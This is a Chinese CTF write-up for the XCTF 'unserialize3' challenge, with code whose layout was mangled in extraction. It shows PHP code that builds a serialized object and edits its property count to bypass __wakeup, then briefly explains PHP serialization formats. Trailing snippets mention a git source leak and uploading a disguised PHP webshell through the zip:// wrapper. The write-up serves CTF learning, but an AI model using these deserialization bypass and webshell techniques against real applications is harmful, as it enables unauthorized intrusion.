攻防世界 十二 unserialize3

2021-10-12 21:34:30 字數 1658 閱讀 6760

一道php反序列化的題

關鍵點:

將類巴拉下來進行例項化,將例項化的物件進行序列化,然後再替換繞過__wakeup方法,**如下

<?php 

class

xctf

}// 例項化類$a=

newxctf

;// 進行序列化$a=

serialize($a

);// 輸出檢視以下

echo$a;

echo""

;// 替換繞過__wakeup方法$a=

str_replace

(':1:'

,':2:',$a

);echo$a;

?>

得到的結果,下面的東西就是payload了

執行,得到flag

1、php序列化格式簡介

來看看下面的**

<?php 

class

test

}$number=2

;// 數字

$string

="helloworld"

;// 字串

$bool

=true

;// 布林值

$null

=null

;// 空

$array

=array

('a'

=>1,

'b'=

>2)

;// 陣列

$test

=new

test

('jackchen'

,'1234');

// 例項物件

var_dump

(serialize

($number))

;echo""

;var_dump

(serialize

($string))

;echo""

;var_dump

(serialize

($bool))

;echo""

;var_dump

(serialize

($null))

;echo""

;var_dump

(serialize

($array))

;echo""

;var_dump

(serialize

($test))

;echo""

;?>

執行結果

不同的型別序列化之後的格式是:

2、__wakeup() 函式及其繞過方法

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...

攻防世界 xctf Guess writeup

本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...